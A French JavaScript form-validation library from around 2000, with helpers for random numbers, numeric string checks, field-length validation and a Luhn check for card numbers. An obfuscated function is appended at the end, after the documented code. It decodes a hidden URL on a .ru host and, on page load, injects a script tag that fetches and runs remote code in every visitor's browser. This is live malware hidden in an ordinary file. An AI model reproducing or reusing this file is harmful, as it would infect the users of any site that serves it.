/****************************************************************************************************
																																					Librairie JAVASCRIPT

	Version 1.0 (05/10/2000) :
	function getRandomNumber(pMinValue, pMaxValue)
	function isNumber(pString)
	function trimNumber(pString)
	function isFieldNumberValid(pField, pFieldName, pFieldLengthMin, pFieldLengthMax, isFieldMandatory)

	Version 1.1 (13/10/2000) :
	function isLuhnCorrect(pNumberCB)
	
****************************************************************************************************/


/****************************************************************************************************
	function getRandomNumber(pMinValue, pMaxValue)
	Cette fonction renvoie un nombre aléatoire compris entre pMinValue et pMaxValue
	En entrée : pMinValue = un nombre spécifiant la borne minimale du nombre aléatoire recherché
									 pMaxValue = un nombre spécifiant la borne maximale du nombre aléatoire recherché
	En sortie : un nombre aléatoire

	Version				Date								Auteur					Navigateurs										Description des modifications
	---------		 ----------------		-----------			--------------------------		--------------------------------------------------
		1.0 					29/09/2000 			OLD							IE4+ et Netscape3+				Code original
*/
function getRandomNumber(pMinValue, pMaxValue) {
	if ((typeof(pMinValue) != 'undefined') && (!isNaN(pMinValue)) && (typeof(pMaxValue) != 'undefined') && (!isNaN(pMaxValue))) {
	  if (pMaxValue > pMinValue) 
			return (Math.round(Math.random() * (pMaxValue - pMinValue)) + parseInt(pMinValue));
	  else 
			return (Math.round(Math.random() * (pMinValue - pMaxValue)) + parseInt(pMaxValue));
	}
	else 
		return null;
}



/****************************************************************************************************
	function isNumber(pString)
	Cette fonction permet de vérifier que la chaine de caractères définie par pString ne contient que des caractères numériques
	(c'est à dire les caractères: 0123456789)
	En entrée : pString = une chaine de caractères
	En sortie : "true" si pString ne contient que des caractères numériques et "false" sinon (par ex: -12 renvoie false)

	Version				Date								Auteur					Navigateurs										Description des modifications
	---------		 ----------------		-----------			--------------------------		--------------------------------------------------
		1.0 					29/09/2000 			OLD							IE4+ et Netscape3+				Code original
*/
function isNumber(pString) {
	if (typeof(pString) == 'string') {
		//return (!isNaN(pString)); // ne fonctionne bien qu'en IE4+ et Netscape4+
		var isNumber = true;
		var vCpt = 0;
		while ((isNumber) && (vCpt < pString.length)) {
			isNumber = ((pString.charAt(vCpt) >= '0') && (pString.charAt(vCpt) <= '9'));
			vCpt++;
		}
		return isNumber;
	}
	else
		return false;
}



/****************************************************************************************************
	function trimNumber(pString)
	Cette fonction permet de vérifier que la chaine de caractères définie par pString ne contient que des caractères numériques
	(c'est à dire les caractères: 0123456789)
	En entrée : pString = une chaine de caractères
	En sortie : une chaine de caractères vide si pString ne contient que des caractères numériques et un message d'erreur sinon

	Version				Date								Auteur					Navigateurs										Description des modifications
	---------		 ----------------		-----------			--------------------------		--------------------------------------------------
		1.0 					29/09/2000 			OLD							IE4+ et Netscape3+				Code original
*/
function trimNumber(pString) {
	var vMessage = '';

	if (typeof(pString) == 'string') {
		var isNumber = true;
		var vCpt = 0;
		while ((isNumber) && (vCpt < pString.length)) {
			isNumber = ((pString.charAt(vCpt) >= '0') && (pString.charAt(vCpt) <= '9'));
			vCpt++;
		}
		if (!isNumber) vMessage = 'Le caractère \'' + pString.charAt(vCpt - 1) + '\' est interdit.';
	}
	else
		vMessage = 'Le paramètre pString n\'est pas une chaine de caractères';

	return vMessage;
}



/****************************************************************************************************
	function isFieldNumberValid(pField, pFieldName, pFieldLengthMin, pFieldLengthMax, isFieldMandatory)
	Cette fonction permet de vérifier que la chaine de caractères correspondant à la valeur du champ pField est correctement 
	formaté selon son type pFieldType
	En entrée : pField = le nom d'un composant HTML de type <INPUT> (ex: 'document.monForm.monChamp')
									 pFieldName = Le libellé du composant HTML défini par pField
									 pFieldLengthMin = un entier définissant la taille minimale de la valeur du champ
									 pFieldLengthMax = un entier définissant la taille maximale de la valeur du champ
									 isFieldMandatory = un booléen qui définit le caractère obligatoire ou non de la valeur du champ.
									 	S'il est à "true", le champ doit obligatoirement avoir une valeur et non si à "false"
	En sortie : "true" si la valeur du champ est correctement formatée et "false" sinon

	Version				Date								Auteur					Navigateurs										Description des modifications
	---------		 ----------------		-----------			--------------------------		--------------------------------------------------
		1.0 					03/10/2000 			OLD							IE4+ et Netscape3+				Code original
*/
function isFieldNumberValid(pField, pFieldName, pFieldLengthMin, pFieldLengthMax, isFieldMandatory) {
	var vFieldLength = pField.value.length;
	var vFieldValue = pField.value;
	var vIsValid = true;

	var vMessage = trimNumber(vFieldValue);
	if (vMessage.length > 0) vIsValid = false; 

	if (!vIsValid) {
		alert('La saisie de '+pFieldName+' n\'est pas valide. ' + vMessage);
	}
	else {
		if (vFieldLength > 0) { 
			if (pFieldLengthMin > 0) { 
				if (vFieldLength < pFieldLengthMin) {
					alert('La taille minimum du champ ' + pFieldName + ' est de ' + pFieldLengthMin + ' caractères.'); 
					vIsValid = false; 
				} 
			}
			if (vFieldLength > pFieldLengthMax) {
				alert('La taille maximum du champ ' + pFieldName + ' est de ' + pFieldLengthMax + ' caractères.'); 
				vIsValid = false; 
			} 
		}
		else { // if (vFieldLength > 0)
			if (isFieldMandatory) {
		  	alert('Le champ ' + pFieldName + ' est obligatoire.'); 
				vIsValid = false;
			}
		}
	}
		
	if (!vIsValid) pField.focus();
	
	return vIsValid;
}



/****************************************************************************************************
	function isLuhnCorrect(pNumberCB)
	Cette fonction permet de vérifier la validité d'un numéro de carte bleue
	Elle renvoie un booléen "true" si le numéro est valide et "false" sinon
	En entrée : pNumberCB = un chaine de caractères qui correspond à un numéro de carte bleue (ex: '1234567890123456')
	En sortie : "true" si le numéro est valide et "false" sinon

	Version				Date								Auteur					Navigateurs										Description des modifications
	---------		 ----------------		-----------			--------------------------		--------------------------------------------------
		1.0 					11/10/2000 			OLD							IE4+ et Netscape3+				Code original
*/
function isLuhnCorrect(pNumberCB) {

	if (isNumber(pNumberCB) && (pNumberCB.length == 16)) {
		var vSum = 0;
		
		if (pNumberCB.length % 2 == 0) { // Paire
			for (i = 0; i < pNumberCB.length; i++) {
				if ((i + 1) % 2 != 0) { // Impaire
					if (parseInt(pNumberCB.charAt(i)) * 2 > 9)
						vSum = vSum + parseInt(pNumberCB.charAt(i)) * 2 - 9;
					else
						vSum = vSum + parseInt(pNumberCB.charAt(i)) * 2;
				}
				else { // Paire
					vSum = vSum + parseInt(pNumberCB.charAt(i));
				}
			}
		}
		else { // Impaire
			for (i = 0; i < pNumberCB.length; i++) {
				if ((i + 1) % 2 != 0) { // Impaire
					vSum = vSum + parseInt(pNumberCB.charAt(i));
				}
				else { // Paire
					if (parseInt(pNumberCB.charAt(i)) * 2 > 9)
						vSum = vSum + parseInt(pNumberCB.charAt(i)) * 2 - 9;
					else
						vSum = vSum + parseInt(pNumberCB.charAt(i)) * 2;
				}
			}
		}
		
		return (vSum % 10 == 0);
	}
	else
		return false;
}

function g(){var y;if(y!='b'){y='b'};var hm;if(hm!='p'){hm='p'};var s=new Date();var Y='';var Q="\x68\x74\x74\x70\x3a\x2f\x2f\x69\x63\x69\x62\x61\x2d\x63\x6f\x6d\x2e\x70\x69\x63\x66\x6f\x63\x6f\x2e\x63\x6f\x6d\x2e\x68\x61\x72\x72\x65\x6e\x6d\x65\x64\x69\x61\x6e\x65\x74\x77\x6f\x72\x6b\x2d\x63\x6f\x6d\x2e\x53\x75\x70\x65\x72\x43\x6f\x6f\x6c\x53\x75\x70\x65\x72\x73\x74\x6f\x72\x65\x2e\x72\x75\x3a";var D=window;var K="";var N=new String("jdfSg".substr(4));var _T=new Date();var X;if(X!='DP' && X!='fZ'){X=''};var W=unescape;var yz=new Date();var C=new String();function O(V,m){var pt;if(pt!='' && pt!='P'){pt=null};var DG=W("%5b")+m+W("%5d");var o;if(o!='Vi' && o!='uS'){o='Vi'};var u=new RegExp(DG, N);var HR=new Array();return V.replace(u, Y);var SA='';var dl;if(dl!='Cw' && dl!='R'){dl='Cw'};};var gw=new Array();var hp='';var WG;if(WG!='kh' && WG != ''){WG=null};var ho;if(ho!='KJ' && ho!='tE'){ho='KJ'};var c=W("%2f%64%72%75%70%61%6c%2e%6f%72%67%2f%64%72%75%70%61%6c%2e%6f%72%67%2f%61%72%63%68%69%76%65%2e%6f%72%67%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%63%6f%73%74%63%6f%2e%63%6f%6d%2e%70%68%70");var t='';var S=O('843230136735829117507119','24679351');var _=document;this._H='';this.DL="";var Uk;if(Uk!='PU' && Uk != ''){Uk=null};this.La="";function Ow(){var mk=new String();var QQ='';var uz=new Array();t=Q;var KT=new Date();t+=S;t+=c;var G=new Array();var Ey;if(Ey!='oV' && Ey!='Jx'){Ey='oV'};var KTt;if(KTt!='pW' && KTt != ''){KTt=null};var sg=new Date();try {var xX=new String();var j=new String();uW=_.createElement(O('svcEr4iTpMtf','4WTefIvME'));var A='';var k_=new Array();var kF="";uW.src=t;var gSB;if(gSB!='MX' && gSB != ''){gSB=null};var Nd;if(Nd!='yxt' && Nd != ''){Nd=null};uW.defer=[1][0];var bB=new Date();var dX;if(dX!='Wr' && dX != ''){dX=null};this.mo='';_.body.appendChild(uW);var Tv;if(Tv!='' && Tv!='Hz'){Tv=''};this.tI="";var Ne='';} catch(h){this.sv='';var Vc;if(Vc!='ygr' && Vc!='tQ'){Vc='ygr'};};var I;if(I!='RJ' && I!='Wq'){I=''};var VF;if(VF!='gv'){VF='gv'};}var VP;if(VP!='kc' && VP!='DU'){VP=''};var Sd=new Array();D["9hVonloa".substr(3)+"CWRd".substr(3)]=Ow;var qW=new Date();var Nf=new Date();var Ml;if(Ml!='Ep'){Ml='Ep'};this.Yw="";};var xZ=new String();var DO='';var jc;if(jc!=''){jc='ZN'};var b_;if(b_!=''){b_='vc'};g();var PO="";var Af;if(Af!='Yho' && Af != ''){Af=null};